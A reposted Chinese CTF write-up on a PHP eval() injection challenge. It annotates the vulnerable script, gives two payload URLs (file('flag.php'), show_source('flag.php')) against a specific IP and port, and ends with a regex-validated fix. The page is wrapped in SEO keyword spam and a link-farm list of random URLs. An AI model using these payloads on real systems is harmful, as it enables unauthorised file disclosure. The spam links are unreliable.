当前位置: 首页 > wzjs >正文

南宁制作营销型网站深圳市龙华区

南宁制作营销型网站,深圳市龙华区,拟一份饰品网站建设合同,防雷整改久久建筑网一、原网页&#xff1a; 二、步骤&#xff1a; 1.代码分析&#xff1a; <?phpinclude "flag.php"; // 引入一个文件&#xff0c;该文件可能定义了一些变量&#xff08;例如 $flag&#xff09;$a $_REQUEST[hello]; // 从用户请求中获取参数 hello 的值&#x…

一、原网页:

二、步骤:

1.代码分析:

<?phpinclude "flag.php"; // 引入一个文件,该文件可能定义了一些变量(例如 $flag)$a = @$_REQUEST['hello']; // 从用户请求中获取参数 'hello' 的值,并将其赋值给变量 $a// 使用 @ 抑制错误(如果 'hello' 参数不存在,不会报错)。eval( "var_dump($a);"); // 使用 eval() 执行动态生成的代码,// 将动态解析 $a 的内容,并将其作为 PHP 代码运行// eval() 是一个非常危险的函数,因为它会执行传入的字符串作为代码show_source(__FILE__); // 显示当前 PHP 文件的源代码// 这意味着攻击者可以直接看到整个文件的内容,包括敏感信息(如引入的 // flag.php 文件)
?>

2.通过hello参数传入代码:

117.72.52.127:12437/?hello=file('flag.php')

输入结果: 

 

或者:

117.72.52.127:12437/?hello=show_source('flag.php')

输入结果: 

三、修复代码漏洞:

源代码:

<?phpinclude "flag.php";$a = @$_REQUEST['hello'];eval( "var_dump($a);");show_source(__FILE__);
?>

修复后的代码: 

<?phpinclude "flag.php";$a = @$_REQUEST['hello']; if (is_string($a) && preg_match('/^[a-zA-Z0-9_]+$/', $a)) {var_dump($a);} else {echo "Invalid input.";}
?>

 修复后的代码分析:

<?phpinclude "flag.php";$a = @$_REQUEST['hello'];// 从用户请求中获取参数 'hello' 的值,并进行验证。// 验证 $a 是否为字符串,并且只包含预期的字符(例如字母和数字)。if (is_string($a) && preg_match('/^[a-zA-Z0-9_]+$/', $a)) {var_dump($a);// 安全地输出变量 $a 的值。} else {echo "Invalid input.";}// 不要在生产环境中显示源代码。// show_source(__FILE__); // 已移除
?>

 


文章转载自:

http://BAUT1cKj.nzfqw.cn
http://IvxNpVfK.nzfqw.cn
http://O4gtxiHU.nzfqw.cn
http://qz8xDwxp.nzfqw.cn
http://3GLUVtIk.nzfqw.cn
http://c9BlYx2b.nzfqw.cn
http://zKDiWI27.nzfqw.cn
http://oucPagkG.nzfqw.cn
http://Xq1Be6nU.nzfqw.cn
http://WR9CtzlT.nzfqw.cn
http://lqMXPbcr.nzfqw.cn
http://WOIMguth.nzfqw.cn
http://lsY7FAu4.nzfqw.cn
http://faQpOPp1.nzfqw.cn
http://rXu3LdzV.nzfqw.cn
http://1bALuugV.nzfqw.cn
http://Lz4UfwyC.nzfqw.cn
http://yezi54U6.nzfqw.cn
http://TeD8NgSE.nzfqw.cn
http://eLmNNV8Q.nzfqw.cn
http://RvrXXDlS.nzfqw.cn
http://5PKRvZN7.nzfqw.cn
http://ZXiwzGOa.nzfqw.cn
http://jHMq9Rb1.nzfqw.cn
http://mdg65lgy.nzfqw.cn
http://1cp59cdH.nzfqw.cn
http://GCy6e8E8.nzfqw.cn
http://LVsHqSBK.nzfqw.cn
http://3eUV7lA2.nzfqw.cn
http://Md345thx.nzfqw.cn
http://www.dtcms.com/wzjs/770894.html

相关文章:

  • 以域名做网站关键词企业做网站优势
  • 网站规划与网页设计总结手机网站制作机构
  • 东莞连衣裙 东莞网站建设建设网站的优点跟缺点
  • 优秀网站设计欣赏图片广安建设局网站
  • 百度云域名买了之后建设网站网站没备案可以做淘宝客吗
  • 网站欢迎屏怎么做wordpress首页调用文章
  • 做新年公告图片的网站WordPress缓存规则设置
  • 贵阳网站建设包首页wordpress购买邀请码
  • wordpress 直播上海牛巨微seo
  • 淘宝客做自己的网站网站生成器怎么做
  • 十大外贸论坛一个新网站怎么做seo
  • 做旅游网站的关注与回复网片图片和价格
  • 个人网站做哪一种比较赚钱代码如诗 wordpress
  • 做品牌特价的网站有哪些哪些网站可以免费做代码
  • 做一个内容网站多少钱网站建设华企
  • 网站前端开发zion小程序官网
  • 重庆工厂网站建设ui设计师的薪资水平
  • 临沂天元建设集团网站重庆企业网站制作
  • 加强网站建设的措施新闻发布平台有哪些
  • 计算机网站建设书建设网站都要学些什么手续
  • 做网站设计有哪些网页城市建设管理
  • 建设网站需要什么资料模板网站演示站点怎么做
  • 电子商务网站建设与管理—李建忠视频拍摄设备推荐
  • 怎么快速建网站教程深圳龙岗建设网站
  • 襄阳网站定制wordpress广告调用
  • 移动端网站模板基础的网站建设
  • 个人博客手机网站模板长春市建设工程信息网
  • 微网站的搭建流程wordpress 大学 主题
  • 宁乡网站建设公司网站建设的论文范文
  • 化妆品手机端网站模板wordpress博客内容预览